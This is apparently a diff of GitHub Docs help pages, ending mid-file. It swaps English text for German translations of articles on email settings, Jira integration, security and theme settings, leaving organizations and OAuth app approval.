- [E-Mail-Adresse für Commits festlegen](/articles/setting-your-commit-email-address)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Changing your primary email address
intro: You can change the email address associated with your personal account at any time.
title: Ändern der primären E-Mail-Adresse
intro: Du kannst die mit deinem persönlichen Konto verknüpfte E-Mail-Adresse jederzeit ändern.
redirect_from:
- /articles/changing-your-primary-email-address
- /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address
@ -14,20 +14,25 @@ topics:
- Accounts
- Notifications
shortTitle: Primary email address
ms.openlocfilehash: 5624a44c888b20350497fd2a4ec5a0d07186cdfe
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145164973'
---
{% note %}
**Note:** You cannot change your primary email address to an email that is already set to be your backup email address.
**Hinweis:** Du kannst deine primäre E-Mail-Adresse nicht in eine E-Mail-Adresse ändern, die bereits als Backup-E-Mail-Adresse festgelegt ist.
{% endnote %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.emails %}
3. If you'd like to add a new email address to set as your primary email address, under "Add email address", type a new email address and click **Add**.
![Add another email address button](/assets/images/help/settings/add_another_email_address.png)
4. Under "Primary email address", use the drop-down menu to click the email address you'd like to set as your primary email address, and click **Save**.
![Set as primary button](/assets/images/help/settings/set_as_primary_email.png)
5. To remove the old email address from your account, next to the old email, click {% octicon "trash" aria-label="The trash symbol" %}.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %}
3. Gib unter „E-Mail-Adresse hinzufügen“ eine neue E-Mail-Adresse ein, und klicke auf **Hinzufügen**, wenn du eine neue E-Mail-Adresse hinzufügen und als primäre E-Mail-Adresse festlegen möchtest.
![Schaltfläche zum Hinzufügen einer weiteren E-Mail-Adresse](/assets/images/help/settings/add_another_email_address.png)
4. Klicke im Dropdownmenü unter „Primäre E-Mail-Adresse“ auf die E-Mail-Adresse, die du als primäre E-Mail-Adresse festlegen möchtest, und klicke dann auf **Speichern**.
![Schaltfläche zum Festlegen einer primären E-Mail-Adresse](/assets/images/help/settings/set_as_primary_email.png)
5. Klicke neben der alten E-Mail-Adresse auf {% octicon "trash" aria-label="The trash symbol" %}, um sie aus deinem Konto zu entfernen.
{% ifversion fpt or ghec %}
6. Verify your new primary email address. Without a verified email address, you won't be able to use all of {% data variables.product.product_name %}'s features. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
6. Verifiziere deine neue primäre E-Mail-Adresse. Ohne verifizierte E-Mail-Adresse kannst du nicht alle Funktionen von {% data variables.product.product_name %} nutzen. Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/articles/verifying-your-email-address).
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing marketing emails from GitHub
intro: 'In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won''t be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings.'
title: Marketing-E-Mails von GitHub verwalten
intro: 'Neben Benachrichtigungen und Konto-E-Mails versendet {% data variables.product.prodname_dotcom %} gelegentlich auch Marketing-E-Mails mit Neuigkeiten und Informationen zu unseren Produkten. Wenn du die Marketing-E-Mails kündigst, bist du von zukünftigen Kampagnen ausgeschlossen, sofern du deine {% data variables.product.prodname_dotcom %}-E-Mail-Einstellungen nicht entsprechend änderst.'
redirect_from:
- /articles/managing-marketing-emails-from-github
- /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github
@ -13,23 +13,28 @@ topics:
- Accounts
- Notifications
shortTitle: Marketing emails
ms.openlocfilehash: 07d100e59d025072e098b016bde30a23b9a7449e
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145164972'
---
## Unsubscribing from {% data variables.product.prodname_dotcom %} marketing emails
## Marketing-E-Mails von {% data variables.product.prodname_dotcom %} kündigen
{% tip %}
**Tip:** If you unsubscribe from all marketing emails and then subscribe to the Explore newsletter, you'll only receive the Explore newsletter, and won't receive other marketing email.
**Tipp:** Wenn du alle Marketing-E-Mails kündigst und anschließend den Explore-Newsletter abonnierst, erhältst du nur den Explore-Newsletter und keine zusätzlichen Marketing-E-Mails.
{% endtip %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.emails %}
3. Under *Email preferences*, select **Only receive account related emails, and those I subscribe to**.
![Screenshot of opting out of marketing email](/assets/images/help/notifications/email_preferences.png)
4. Click **Save email preferences**.
![Save email preferences button](/assets/images/help/notifications/save_email_preferences.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %}
3. Wähle unter *Email preferences* (E-Mail-Voreinstellungen) **Only receive account related emails, and those I subscribe to** (Nur kontobezogene und abonnierte E-Mails erhalten) aus.
![Screenshot: Kündigen des Abonnements der Marketing-E-Mails](/assets/images/help/notifications/email_preferences.png)
4. Schaltfläche **Save email preferences** (E-Mail-Voreinstellungen speichern)
Schaltfläche ![Save email preferences](/assets/images/help/notifications/save_email_preferences.png) (E-Mail-Voreinstellungen speichern)
## Further reading
## Weiterführende Themen
- "[Types of emails GitHub sends](/articles/types-of-emails-github-sends)"
- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
- [Arten der von GitHub versendeten E-Mails](/articles/types-of-emails-github-sends)
- [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Setting a backup email address
intro: 'Use a backup email address as an additional destination for security-relevant account notifications{% ifversion not ghae %} and to securely reset your password if you can no longer access your primary email address{% endif %}.'
title: Backup-E-Mail-Adresse festlegen
intro: 'Verwende eine Backup-E-Mail-Adresse als zusätzliches Ziel für sicherheitsrelevante Kontobenachrichtigungen{% ifversion not ghae %} und zum sicheren Zurücksetzen deines Kennworts, wenn du nicht mehr auf deine primäre E-Mail-Adresse zugreifen kannst{% endif %}.'
redirect_from:
- /articles/setting-a-backup-email-address
- /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address
@ -15,14 +15,19 @@ topics:
- Accounts
- Notifications
shortTitle: Set backup email address
ms.openlocfilehash: d977425fd672164400355cc7d9209d5a79e7cd34
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145164969'
---
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.emails %}
3. Under "Backup email address," select the address you want to set as your backup email address using the drop-down menu.
![Backup email address](/assets/images/help/settings/backup-email-address.png)
4. Click **Save**.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %}
3. Wähle im Dropdownmenü unter „Backup email address“ (Backup-E-Mail-Adresse) die E-Mail-Adresse aus, die du als Backup-E-Mail-Adresse festlegen möchtest.
![Backup-E-Mail-Adresse](/assets/images/help/settings/backup-email-address.png)
4. Klicken Sie auf **Speichern**.
## Further reading
## Weiterführende Themen
- "[Managing email preferences](/articles/managing-email-preferences/)"
- "[Updating your GitHub access credentials](/articles/updating-your-github-access-credentials/)"
- [Verwalten von E-Mail-Einstellungen](/articles/managing-email-preferences/)
- [Aktualisieren der Anmeldeinformationen für den Zugriff auf GitHub](/articles/updating-your-github-access-credentials/)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Integrating Jira with your personal projects
intro: 'You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.'
title: Jira in deine persönlichen Projekte integrieren
intro: 'Du kannst Jira Cloud in dein persönliches Konto integrieren, um Commits und Pull Requests zu scannen und relevante Metadaten und Hyperlinks in allen erwähnten Jira-Issues zu erstellen.'
redirect_from:
- /articles/integrating-jira-with-your-personal-projects
- /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects
@ -10,21 +10,24 @@ versions:
ghes: '*'
ghae: '*'
shortTitle: Integrate Jira with projects
ms.openlocfilehash: bc88d865cd9c1c88caf5498eab330b6f11cd2ec0
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145164885'
---
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.developer_settings %}
{% data reusables.user-settings.oauth_apps %}
1. Click **Register a new application**.
2. Under **Application name**, type "Jira".
3. Under **Homepage URL**, type the full URL to your Jira instance.
4. Under **Authorization callback URL**, type the full URL to your Jira instance.
5. Click **Register application**.
![Register application button](/assets/images/help/oauth/register-application-button.png)
8. Under **Developer applications**, note the "Client ID" and "Client Secret" values.
![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png)
{% data reusables.user-settings.jira_help_docs %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.oauth_apps %}
1. Klicke auf **Neue Anwendung registrieren**.
2. Gib unter **Anwendungsname** „Jira“ ein.
3. Gib unter **Homepage-URL** die vollständige URL zu deiner Jira-Instanz ein.
4. Gib unter **Autorisierungsrückruf-URL** die vollständige URL zu deiner Jira-Instanz ein.
5. Klicke auf **Anwendung registrieren**.
![Schaltfläche „Anwendung registrieren“](/assets/images/help/oauth/register-application-button.png)
8. Beachte unter **Entwickleranwendungen** die Werte „Client-ID“ und „Geheimer Clientschlüssel“.
![Client-ID und Geheimer Clientschlüssel](/assets/images/help/oauth/client-id-and-secret.png) {% data reusables.user-settings.jira_help_docs %}
## Further reading
## Weiterführende Themen
- ["Integrating Jira with your organization project board"](/articles/integrating-jira-with-your-organization-project-board)
- <a href="https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html" data-proofer-ignore>Connect Jira Cloud to GitHub</a> (Atlassian documentation)
- [Integrieren von Jira in das Projektboard deiner Organisation](/articles/integrating-jira-with-your-organization-project-board)
- <a href="https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html" data-proofer-ignore>Verbinden der Jira Cloud mit GitHub</a> (Atlassian-Dokumentation)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing security and analysis settings for your personal account
intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.'
title: Verwalten von Sicherheits- und Analyseeinstellungen für dein persönliches Konto
intro: 'Du kannst Funktionen steuern, die Code in deinen Projekten auf {% data variables.product.prodname_dotcom %} absichern und analysieren.'
versions:
fpt: '*'
ghec: '*'
@ -12,43 +12,47 @@ redirect_from:
- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
shortTitle: Manage security & analysis
ms.openlocfilehash: 22ff867691f79360db54f0fe85f5e988c71536a3
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108386'
---
## About management of security and analysis settings
## Informationen zur Verwaltung von Sicherheits- und Analyseeinstellungen
{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories.
Mit {% data variables.product.prodname_dotcom %} kannst du deine Repositorys schützen. In diesem Artikel erfährst du, wie du die Sicherheits- und Analysefeatures für alle vorhandenen oder neuen Repositorys verwalten kannst.
You can still manage the security and analysis features for individual repositories. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
Du kannst die Sicherheits- und Analysefeatures weiterhin für einzelne Repositorys verwalten. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).
You can also review the security log for all activity on your personal account. For more information, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)."
Du kannst auch das Sicherheitsprotokoll für alle Aktivitäten in deinem persönlichen Konto überprüfen. Weitere Informationen findest du unter [Überprüfen deines Sicherheitsprotokolls](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log).
{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
{% data reusables.security.security-and-analysis-features-enable-read-only %}
For an overview of repository-level security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
Eine Übersicht über die Sicherheit auf Repositoryebene findest du unter [Schützen deines Repositorys](/code-security/getting-started/securing-your-repository).
## Enabling or disabling features for existing repositories
## Aktivieren oder Deaktivieren von Features für vorhandene Repositorys
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security-analysis %}
3. Under "Code security and analysis", to the right of the feature, click **Disable all** or **Enable all**.
{% ifversion ghes %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %}
6. Optionally, enable the feature by default for new repositories that you own.
{% ifversion ghes %}!["Enable by default" option for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}!["Enable by default" option for new repositories](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %}
7. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own.
{% ifversion ghes %}![Button to disable or enable feature](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![Button to disable or enable feature](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %}
3. Klicke unter „Codesicherheit und -analyse“ rechts neben dem Feature auf **Alle deaktivieren** oder **Alle aktivieren**.
{% ifversion ghes %}![Schaltflächen „Alle aktivieren“ und „Alle deaktivieren“ unter „Sicherheits- und Analysefeatures konfigurieren“](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}![Schaltflächen „Alle aktivieren“ und „Alle deaktivieren“ unter „Sicherheits- und Analysefeatures konfigurieren“](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %}
6. Du kannst das Feature optional für alle neuen Repositorys standardmäßig aktivieren, die du besitzt.
{% ifversion ghes %}![Option „Standardmäßig aktivieren“ für neue Repositorys](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}![Option „Standardmäßig aktivieren“ für neue Repositorys](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %}
7. Klicke auf **Funktion deaktivieren** oder **Funktion aktivieren**, um das Feature für alle Repositorys in deinem Besitz zu aktivieren oder zu deaktivieren.
{% ifversion ghes %}![Schaltfläche zum Deaktivieren oder Aktivieren des Features](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![Schaltfläche zum Deaktivieren oder Aktivieren des Features](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %}
{% data reusables.security.displayed-information %}
## Enabling or disabling features for new repositories
## Aktivieren oder Deaktivieren von Features für neue Repositorys
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security-analysis %}
3. Under "Code security and analysis", to the right of the feature, enable or disable the feature by default for new repositories that you own.
{% ifversion ghes %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %}
3. Unter „Codesicherheit und -analyse“ kannst du das Feature auf der rechten Seite standardmäßig für neue Repositorys in deinem Besitz aktivieren oder deaktivieren.
{% ifversion ghes %}![Kontrollkästchen zum Aktivieren oder Deaktivieren eines Features für neue Repositorys](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![Kontrollkästchen zum Aktivieren oder Deaktivieren eines Features für neue Repositorys](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %}
## Further reading
## Weitere Informationsquellen
- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
- "[Keeping your dependencies updated automatically](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)"
- [Informationen zum Abhängigkeitsdiagramm](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)
- [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)
- [Automatische Aktualisierung von Abhängigkeiten](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing your theme settings
intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.'
title: Verwalten der Designeinstellungen
intro: 'Du kannst verwalten, wie {% data variables.product.product_name %} aussieht, indem du eine Designpräferenz einstellst, die sich entweder an deinen Systemeinstellungen orientiert oder einen Tages- oder Nachtmodus verwendet.'
versions:
fpt: '*'
ghae: '*'
@ -13,51 +13,52 @@ redirect_from:
- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
- /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings
shortTitle: Manage theme settings
ms.openlocfilehash: 3f7d35978d3a80f7fb63cce1d054afd15b579f13
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108383'
---
Um flexibel einzustellen, wie und wann du {% data variables.product.product_name %} verwendest, kannst du die Designeinstellungen konfigurieren, um die Darstellung von {% data variables.product.product_name %} zu verändern. Du kannst aus Designs auswählen, die hell oder dunkel sind, oder du kannst {% data variables.product.product_name %} so konfigurieren, dass den Systemeinstellungen entsprochen wird.
For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
Du kannst ein dunkles Design verwenden, um den Stromverbrauch auf bestimmten Geräten zu verringern oder die Augen in schlechten Lichtverhältnissen zu entlasten – oder einfach, weil es dir gefällt.
You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks.
If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% ifversion fpt or ghae or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes.
Wenn du eine Sehbeeinträchtigung hast, kannst du von einem Design mit hohem Kontrast mit höherem Kontrast zwischen Vordergrund- und Hintergrundelementen profitieren.{% ifversion fpt or ghae or ghec %} Wenn du farbenblind bist, kannst du von unseren hellen und dunklen Designs für farbenblinde Personen profitieren.
{% endif %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.appearance-settings %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.appearance-settings %}
1. Under "Theme mode", select the drop-down menu, then click a theme preference.
1. Wähle unter „Designmodus“ das Dropdownmenü aus, und klicke dann auf eine Designeinstellung.
![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png)
1. Click the theme you'd like to use.
- If you chose a single theme, click a theme.
![Dropdownmenü „Designmodus“ zur Auswahl der Designeinstellung](/assets/images/help/settings/theme-mode-drop-down-menu.png)
1. Klicke auf das gewünschte Design.
- Wenn du ein Design ausgewählt hast, klicke auf dieses.
{%- ifversion ghes = 3.5 %}
{% note %}
{%- ifversion ghes = 3.5 %} {% note %}
**Note**: The light high contrast theme was unavailable in {% data variables.product.product_name %} 3.5.0, 3.5.1, 3.5.2, and 3.5.3. The theme is available in 3.5.4 and later. For more information about upgrades, contact your site administrator.
**Hinweis**: Das helle Design mit hohem Kontrast war in {% data variables.product.product_name %} 3.5.0, 3.5.1, 3.5.2 und 3.5.3 nicht verfügbar. Das Design ist ab Version 3.5.4 verfügbar. Kontaktiere deine*n Websiteadministrator*in, wenn du weitere Informationen zu Upgrades benötigst.
For more information about determining the version of {% data variables.product.product_name %} you're using, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)."
{% endnote %}
{%- endif %}
Weitere Informationen zum Ermitteln der derzeit verwendeten Version von {% data variables.product.product_name %} findest du unter [Informationen zu Versionen von {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server).
{% endnote %} {%- endif %}
![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png)
- If you chose to follow your system settings, click a day theme and a night theme.
![Optionsfelder zur Auswahl eines Designs](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png)
- Wenn du die Systemeinstellungen übernehmen möchtest, klicke auf ein Tagesdesign und ein Nachtdesign.
![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png)
{% ifversion fpt or ghec %}
- If you would like to choose a theme which is currently in public beta, you will first need to enable it with feature preview. For more information, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)."{% endif %}
![Schaltflächen für die Auswahl eines Designs zum Synchronisieren mit der Systemeinstellung](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png) {% ifversion fpt or ghec %}
- Wenn du ein Design auswählen möchtest, das derzeit in der öffentlichen Betaversion enthalten ist, musst du es zuerst über die Featurevorschau aktivieren. Weitere Informationen findest du unter [Testen von Early-Access-Releases mit der Featurevorschau](/get-started/using-github/exploring-early-access-releases-with-feature-preview).{% endif %}
{% ifversion command-palette %}
{% note %}
**Note:** You can also change your theme settings with the command palette. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)".
**Hinweis:** Du kannst die Designeinstellungen auch über die Befehlspalette ändern. Weitere Informationen findest du unter [{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette).
{% endnote %}
{% endif %}
## Further reading
## Weitere Informationsquellen
- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
- [Festlegen eines Designs für {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Removing yourself from an organization
intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
title: Sich selbst aus einer Organisation entfernen
intro: Als externer Mitarbeiter oder Mitglied einer Organisation kannst du die Organisation jederzeit aus eigener Initiative verlassen.
redirect_from:
- /articles/how-do-i-remove-myself-from-an-organization
- /articles/removing-yourself-from-an-organization
@ -15,20 +15,25 @@ versions:
topics:
- Accounts
shortTitle: Leave an organization
ms.openlocfilehash: 8fc658b761999f5022675994cf673eaaeb19fcd1
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145164890'
---
{% ifversion fpt or ghec %}
{% warning %}
**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
**Warnung:** Wenn du derzeit in deiner Organisation für die Zahlung der Nutzung von {% data variables.product.product_name %} verantwortlich bist, werden die für deine Organisation hinterlegten Abrechnungsinformationen **nicht** automatisch aktualisiert, wenn du dich aus der Organisation entfernst. Wenn du derzeit für die Abrechnung verantwortlich bist, **musst du** einen anderen Besitzer oder Abrechnungsmanager der Organisation damit beauftragen, die [Zahlungsmethode der Organisation zu aktualisieren](/articles/adding-or-editing-a-payment-method).
For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
Weitere Informationen findest du unter [Übertragen des Besitzes einer Organisation](/articles/transferring-organization-ownership).
{% endwarning %}
{% endif %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.organizations %}
3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %}
3. Suche unter „Organisationen“ die Organisation, die du verlassen möchtest, und klicke auf **Verlassen**.
![Schaltfläche „Organisation verlassen“ mit angezeigten Rollen](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Requesting organization approval for OAuth Apps
intro: 'Organization members and outside collaborators can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_apps %}.'
title: Von einer Organisation die Genehmigung für OAuth-Apps anfordern
intro: 'Organisationsmitglieder und externe Projektmitarbeiter können anfordern, dass ein Besitzer den Zugriff auf Organisationsressourcen für {% data variables.product.prodname_oauth_apps %} genehmigt.'
redirect_from:
- /articles/requesting-organization-approval-for-third-party-applications
- /articles/requesting-organization-approval-for-your-authorized-applications
@ -14,24 +14,27 @@ versions:
topics:
- Accounts
shortTitle: Request OAuth App approval
ms.openlocfilehash: affc908d710811563e49bfee6a4e2e906750bf4b
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148008184'
---
## Informationen zum Anfordern einer Organisationsgenehmigung für eine {% data variables.product.prodname_oauth_app %}
## About requesting organization approval for an {% data variables.product.prodname_oauth_app %}
Organisationsmitglieder können jederzeit die Genehmigung des Besitzers für {% data variables.product.prodname_oauth_apps %} anfordern, die sie verwenden möchten, und die Organisationsbesitzer erhalten eine Benachrichtigung über ausstehende Anforderungen.{% ifversion limit-app-access-requests %} Externe Projektmitarbeiter können die Genehmigung des Besitzers für {% data variables.product.prodname_oauth_apps %} anfordern, die sie verwenden möchten, wenn Integrationszugriffsanforderungen aktiviert sind. Weitere Informationen findest du unter [Einschränken von OAuth-App- und GitHub-App-Zugriffsanforderungen](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests).{% endif %}
Organization members can always request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.{% ifversion limit-app-access-requests %} Outside collaborators can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use if integration access requests are enabled. For more information, see "[Limiting OAuth App and GitHub App access requests](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests)."{% endif %}
## Von einer Organisation die Genehmigung für eine {% data variables.product.prodname_oauth_app %} anfordern, die du bereits für dein persönliches Konto zugelassen hast
## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.access_applications %} {% data reusables.user-settings.access_authorized_oauth_apps %}
3. Klicke in der Liste der Anwendungen auf den Namen der {% data variables.product.prodname_oauth_app %}, für die du Zugriff anfordern möchtest.
![Schaltfläche „Anwendung anzeigen“](/assets/images/help/settings/settings-third-party-view-app.png)
4. Klicke neben der Organisation, auf die {% data variables.product.prodname_oauth_app %} zugreifen soll, auf **Zugriff anfordern**.
![Schaltfläche „Zugriff anfordern“](/assets/images/help/settings/settings-third-party-request-access.png)
5. Lies die Informationen zum Anfordern des Zugriffs auf {% data variables.product.prodname_oauth_app %}, und klicke dann auf **Genehmigung von Inhabern anfordern**.
![Schaltfläche zum Anfordern der Genehmigung](/assets/images/help/settings/oauth-access-request-approval.png)
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.access_applications %}
{% data reusables.user-settings.access_authorized_oauth_apps %}
3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
## Weitere Informationsquellen
## Further reading
- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
- [Informationen zu {% data variables.product.prodname_oauth_app %}-Zugriffsbeschränkungen](/articles/about-oauth-app-access-restrictions)

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Metadata syntax for GitHub Actions
title: Metadatensyntax für GitHub Actions
shortTitle: Metadata syntax
intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
intro: 'Du kannst Aktionen erstellen, um Aufgaben in deinem Repository auszuführen. Für Aktionen ist eine Metadatendatei erforderlich, die die YAML-Syntax verwendet.'
redirect_from:
- /articles/metadata-syntax-for-github-actions
- /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
@ -14,36 +14,40 @@ versions:
ghec: '*'
type: reference
miniTocMaxHeadingLevel: 4
ms.openlocfilehash: 9bde653dd7f8b4d04831afa38d29db7300255f57
